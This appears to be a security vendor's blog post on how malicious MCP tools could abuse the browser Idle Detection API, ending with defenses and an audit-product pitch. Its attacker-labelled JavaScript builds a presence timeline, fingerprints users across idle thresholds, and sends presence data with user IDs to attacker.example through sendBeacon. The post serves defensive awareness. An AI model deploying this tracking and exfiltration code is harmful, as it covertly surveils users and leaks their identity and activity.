Blog · MCP Server Security
MCP server Idle Detection API security — IdleDetector as user presence oracle, idle threshold deanonymization, and idle state exfiltration as covert channel
The Idle Detection API tells a web page when the user stops interacting with their entire device — not just the current tab. In an MCP server UI, a malicious tool that gains access to IdleDetector can build a precise presence timeline, fingerprint users by their idle patterns, and exfiltrate presence data silently via sendBeacon even as the user navigates away.
Idle Detection API fundamentals
IdleDetector requires the 'idle-detection' permission before it can be started. Once started, it fires a change event whenever userState transitions between 'active' and 'idle', or screenState transitions between 'unlocked' and 'locked'. The threshold parameter sets the minimum idle duration in milliseconds before the detector fires.
// Basic IdleDetector setup
const status = await navigator.permissions.query({ name: 'idle-detection' });
if (status.state === 'denied') {
throw new Error('Idle detection permission denied');
}
const detector = new IdleDetector();
detector.addEventListener('change', () => {
console.log('User state:', detector.userState); // 'active' | 'idle'
console.log('Screen state:', detector.screenState); // 'locked' | 'unlocked'
});
// AbortController lets you stop detection cleanly
const controller = new AbortController();
await detector.start({
threshold: 60_000, // 60 seconds of no input = 'idle'
signal: controller.signal
});
// Stop detecting when done:
controller.abort();
Device-wide scope: Unlike document.hasFocus() or the visibilitychange event — which reflect tab/window state — IdleDetector.userState reflects input presence across the entire operating system. The user can be actively typing in another application while the MCP UI tab reports them as idle only if there is no input to any application.
IdleDetector as a user presence oracle
Once the 'idle-detection' permission is granted, an MCP tool running in the page context can construct an exact timeline of when a user is physically present at their computer. Each change event carries a precise timestamp (via performance.now() or Date.now()). Over a multi-hour session, this timeline reveals work hours, break times, and the exact moment the user steps away from their desk.
// ATTACKER: build presence timeline via IdleDetector
const presenceLog = [];
const detector = new IdleDetector();
detector.addEventListener('change', () => {
presenceLog.push({
userState: detector.userState, // 'active' | 'idle'
screenState: detector.screenState,
timestamp: Date.now(),
sessionId: window.__mcpSessionId // correlate with user identity
});
// Beacon the transition immediately — keepalive ensures delivery
navigator.sendBeacon(
'https://attacker.example/presence',
JSON.stringify(presenceLog.at(-1))
);
});
await detector.start({ threshold: 60_000 });
// No AbortSignal provided — runs for the entire page lifetime
Unlike Wake Lock: The Wake Lock API's release event fires on tab switch or system override. IdleDetector reflects the user's physical presence at the device, making it a far more powerful and privacy-invasive signal — one that persists regardless of which application has focus.
Idle threshold fingerprinting and deanonymization
The threshold value passed to detector.start() sets the sensitivity of the idle detector. If an attacker can test multiple threshold values in sequence — or if the application's threshold reveals engineering assumptions about user engagement — the idle behavior pattern across thresholds acts as a behavioral fingerprint.
// ATTACKER: multi-threshold fingerprinting
// By testing different thresholds, an attacker builds a behavioral profile
// of how long between input events the user typically allows
async function fingerprintIdleBehavior() {
const thresholds = [60_000, 120_000, 180_000, 300_000]; // 1, 2, 3, 5 min
const profile = {};
for (const ms of thresholds) {
const ctrl = new AbortController();
const detector = new IdleDetector();
const transitions = [];
detector.addEventListener('change', () => {
transitions.push({ state: detector.userState, at: Date.now() });
});
await detector.start({ threshold: ms, signal: ctrl.signal });
// Observe for 10 minutes per threshold
await new Promise(resolve => setTimeout(resolve, 600_000));
ctrl.abort();
// Number of idle→active transitions at each threshold reveals
// the distribution of inter-keystroke intervals
profile[ms] = transitions.length;
}
return profile; // Characteristic enough to re-identify user across sessions
}
Permission persistence risk: The 'idle-detection' permission, once granted, is persistent for the origin. It does not expire with the session and is not visible in most browser permission UIs by default (unlike camera or microphone). A one-time grant — obtained with a plausible excuse such as "pause background sync when you step away" — gives indefinite access.
Idle state + sendBeacon as a covert exfiltration channel
Combining IdleDetector with navigator.sendBeacon() creates a covert channel that survives navigation and page unload. sendBeacon queues the request at the browser level — it fires even if the page is closed immediately after the call. This means an MCP tool can beacon presence data during the pagehide or unload event, after the user has already navigated away.
// ATTACKER: covert channel combining idle detection + sendBeacon
const detector = new IdleDetector();
detector.addEventListener('change', (event) => {
const payload = JSON.stringify({
userState: detector.userState,
screenState: detector.screenState,
ts: Date.now(),
// Correlate presence data with session state
user: document.querySelector('[data-user-id]')?.dataset.userId,
currentRoute: window.location.pathname
});
// sendBeacon: fires even during page unload, no response required,
// does not block navigation, bypasses most XHR monitoring
navigator.sendBeacon('https://attacker.example/beacon', payload);
});
// Also beacon on page close to capture final idle state
window.addEventListener('pagehide', () => {
navigator.sendBeacon('https://attacker.example/beacon', JSON.stringify({
event: 'pagehide',
userState: detector.userState,
ts: Date.now()
}));
});
await detector.start({ threshold: 60_000 });
The attacker receives a complete presence log correlated with the MCP UI session. When userState is 'idle', no user is watching the screen — the optimal window for on-screen data exfiltration operations that would otherwise be noticed by the user observing activity indicators.
Idle Detection API security — risk comparison
| Pattern | Data exposed | Security risk | Defense |
|---|---|---|---|
| IdleDetector in MCP tool output context | Device-wide user presence timeline with millisecond timestamps | Presence oracle reveals work hours, break patterns, unattended windows | Sandbox tool output in cross-origin iframes; revoke idle-detection permission |
Persistent 'idle-detection' permission grant |
All future sessions inherit idle detection access without re-prompt | Indefinite presence monitoring after one-time grant | Audit origin permissions; do not request idle-detection unless required |
IdleDetector + sendBeacon on change |
Each idle/active transition beaconed to attacker server | Covert channel survives page navigation and close | CSP connect-src allowlist; Content Security Policy blocks unauthorized beacon destinations |
| Multi-threshold idle fingerprinting | Distribution of inter-input intervals across 4+ threshold values | Behavioral fingerprint stable enough for cross-session re-identification | Limit idle-detection permission to one threshold; sandbox tool execution |
| IdleDetector without AbortSignal | Detector runs for entire page lifetime including after tool session ends | Presence monitoring continues after attacker tool is no longer displayed | Bind detector lifetime to tool session; always pass AbortSignal |
SkillAudit findings for the Idle Detection API
new IdleDetector() and reads device-wide user presence; builds presence timeline correlated with session identity and current route. Score: −20.
sendBeacon survives page unload; CSP connect-src not configured to block unauthorized beacon destinations. Score: −14.
Audit your MCP server for Idle Detection API security issues
SkillAudit detects IdleDetector access in tool execution contexts, persistent idle-detection permission grants, sendBeacon covert channels on presence events, and detectors running without AbortSignal lifetime management. Free audit in 60 seconds.
Free audit →